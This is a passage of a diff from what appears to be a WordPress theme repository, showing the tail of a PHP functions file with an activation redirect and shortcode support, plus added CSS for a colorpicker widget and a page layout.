include (TEMPLATEPATH . "/plugins/shortcode_generator.php");
//Make widget support shortcode
add_filter('widget_text', 'do_shortcode');
if ($_GET['activated']){
wp_redirect(admin_url("themes.php?page=functions.php"));
}
?>

View File

@ -0,0 +1,175 @@
.colorpicker {
width: 356px;
height: 176px;
overflow: hidden;
position: absolute;
background: url(../images/custom_background.png);
font-family: Arial, Helvetica, sans-serif;
display: none;
z-index: 99999;
margin-left: -105px;
}
.colorpicker_color {
width: 150px;
height: 150px;
left: 14px;
top: 13px;
position: absolute;
background: #f00;
overflow: hidden;
cursor: crosshair;
}
.colorpicker_color div {
position: absolute;
top: 0;
left: 0;
width: 150px;
height: 150px;
background: url(../images/colorpicker_overlay.png);
}
.colorpicker_color div div {
position: absolute;
top: 0;
left: 0;
width: 11px;
height: 11px;
overflow: hidden;
background: url(../images/colorpicker_select.gif);
margin: -5px 0 0 -5px;
}
.colorpicker_hue {
position: absolute;
top: 13px;
left: 171px;
width: 35px;
height: 150px;
cursor: n-resize;
}
.colorpicker_hue div {
position: absolute;
width: 35px;
height: 9px;
overflow: hidden;
background: url(../images/custom_indic.gif) left top;
margin: -4px 0 0 0;
left: 0px;
}
.colorpicker_new_color {
position: absolute;
width: 60px;
height: 30px;
left: 213px;
top: 13px;
background: #f00;
}
.colorpicker_current_color {
position: absolute;
width: 60px;
height: 30px;
left: 283px;
top: 13px;
background: #f00;
}
.colorpicker input[type="text"] {
background-color: transparent;
border: 1px solid transparent;
position: absolute;
font-size: 10px;
font-family: Arial, Helvetica, sans-serif;
color: #898989;
top: 4px;
right: 8px;
text-align: right;
margin: 0;
padding: 0;
height: 11px;
line-height: 14px;
}
.colorpicker_hex {
position: absolute;
width: 72px;
height: 22px;
background: url(../images/custom_hex.png) top;
left: 212px;
top: 142px;
}
.colorpicker_hex input {
right: 6px;
}
.colorpicker_field {
height: 22px;
width: 62px;
background-position: top;
position: absolute;
}
.colorpicker_field span {
position: absolute;
width: 12px;
height: 22px;
overflow: hidden;
top: 0;
right: 0;
cursor: n-resize;
}
.colorpicker_rgb_r {
background-image: url(../images/custom_rgb_r.png);
top: 52px;
left: 212px;
}
.colorpicker_rgb_g {
background-image: url(../images/custom_rgb_g.png);
top: 82px;
left: 212px;
}
.colorpicker_rgb_b {
background-image: url(../images/custom_rgb_b.png);
top: 112px;
left: 212px;
}
.colorpicker_hsb_h {
background-image: url(../images/custom_hsb_h.png);
top: 52px;
left: 282px;
}
.colorpicker_hsb_s {
background-image: url(../images/custom_hsb_s.png);
top: 82px;
left: 282px;
}
.colorpicker_hsb_b {
background-image: url(../images/custom_hsb_b.png);
top: 112px;
left: 282px;
}
.colorpicker_submit {
position: absolute;
width: 22px;
height: 22px;
background: url(../images/custom_submit.png) top;
left: 322px;
top: 142px;
overflow: hidden;
}
.colorpicker_focus {
background-position: center;
}
.colorpicker_hex.colorpicker_focus {
background-position: bottom;
}
.colorpicker_submit.colorpicker_focus {
background-position: bottom;
}
.colorpicker_slider {
background-position: bottom;
}
.colorpicker_bg
{
width: 100px;
height:25px;
float:left;
-moz-border-radius: 4px;
-webkit-border-radius: 4px;
border-radius: 4px;
cursor:pointer;
}

View File

@ -0,0 +1,218 @@
body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,form,fieldset,input,textarea,p,blockquote,th,td {
margin:0;
padding:0;
}
table {
border-collapse:collapse;
border-spacing:0;
}
fieldset,img {
border:0;
}
address,caption,cite,code,dfn,em,strong,th,var {
font-style:normal;
font-weight:normal;
}
ol,ul {
list-style:none;
}
caption,th {
text-align:left;
}
h1,h2,h3,h4,h5,h6 {
font-size:100%;
font-weight:normal;
}
q:before,q:after {
content:'';
}
abbr,acronym { border:0;
}
html, body {
background-color: #fff;
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
line-height: 18px;
color: #52697E;
}
body {
text-align: center;
overflow: auto;
}
.wrapper {
width: 700px;
margin: 0 auto;
text-align: left;
}
h1 {
font-size: 21px;
height: 47px;
line-height: 47px;
text-transform: uppercase;
}
.navigationTabs {
height: 23px;
line-height: 23px;
border-bottom: 1px solid #ccc;
}
.navigationTabs li {
float: left;
height: 23px;
line-height: 23px;
padding-right: 3px;
}
.navigationTabs li a{
float: left;
dispaly: block;
height: 23px;
line-height: 23px;
padding: 0 10px;
overflow: hidden;
color: #52697E;
background-color: #eee;
position: relative;
text-decoration: none;
}
.navigationTabs li a:hover {
background-color: #f0f0f0;
}
.navigationTabs li a.active {
background-color: #fff;
border: 1px solid #ccc;
border-bottom: 0px solid;
}
.tabsContent {
border: 1px solid #ccc;
border-top: 0px solid;
width: 698px;
overflow: hidden;
}
.tab {
padding: 16px;
display: none;
}
.tab h2 {
font-weight: bold;
font-size: 16px;
}
.tab h3 {
font-weight: bold;
font-size: 14px;
margin-top: 20px;
}
.tab p {
margin-top: 16px;
clear: both;
}
.tab ul {
margin-top: 16px;
list-style: disc;
}
.tab li {
margin: 10px 0 0 35px;
}
.tab a {
color: #8FB0CF;
}
.tab strong {
font-weight: bold;
}
.tab pre {
font-size: 11px;
margin-top: 20px;
width: 668px;
overflow: auto;
clear: both;
}
.tab table {
width: 100%;
}
.tab table td {
padding: 6px 10px 6px 0;
vertical-align: top;
}
.tab dt {
margin-top: 16px;
}
#colorSelector {
position: relative;
width: 36px;
height: 36px;
background: url(../images/select.png);
}
#colorSelector div {
position: absolute;
top: 3px;
left: 3px;
width: 30px;
height: 30px;
background: url(../images/select.png) center;
}
#colorSelector2 {
position: absolute;
top: 0;
left: 0;
width: 36px;
height: 36px;
background: url(../images/select2.png);
}
#colorSelector2 div {
position: absolute;
top: 4px;
left: 4px;
width: 28px;
height: 28px;
background: url(../images/select2.png) center;
}
#colorpickerHolder2 {
top: 32px;
left: 0;
width: 356px;
height: 0;
overflow: hidden;
position: absolute;
}
#colorpickerHolder2 .colorpicker {
background-image: url(../images/custom_background.png);
position: absolute;
bottom: 0;
left: 0;
}
#colorpickerHolder2 .colorpicker_hue div {
background-image: url(../images/custom_indic.gif);
}
#colorpickerHolder2 .colorpicker_hex {
background-image: url(../images/custom_hex.png);
}
#colorpickerHolder2 .colorpicker_rgb_r {
background-image: url(../images/custom_rgb_r.png);
}
#colorpickerHolder2 .colorpicker_rgb_g {
background-image: url(../images/custom_rgb_g.png);
}
#colorpickerHolder2 .colorpicker_rgb_b {
background-image: url(../images/custom_rgb_b.png);
}
#colorpickerHolder2 .colorpicker_hsb_s {
background-image: url(../images/custom_hsb_s.png);
display: none;
}
#colorpickerHolder2 .colorpicker_hsb_h {
background-image: url(../images/custom_hsb_h.png);
display: none;
}
#colorpickerHolder2 .colorpicker_hsb_b {
background-image: url(../images/custom_hsb_b.png);
display: none;
}
#colorpickerHolder2 .colorpicker_submit {
background-image: url(../images/custom_submit.png);
}
#colorpickerHolder2 .colorpicker input {
color: #778398;
}
#customWidget {
position: relative;
height: 36px;
}

Binary file not shown.

After

Width:  |  Height:  |  Size: 49 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 532 B

Some files were not shown because too many files have changed in this diff Show More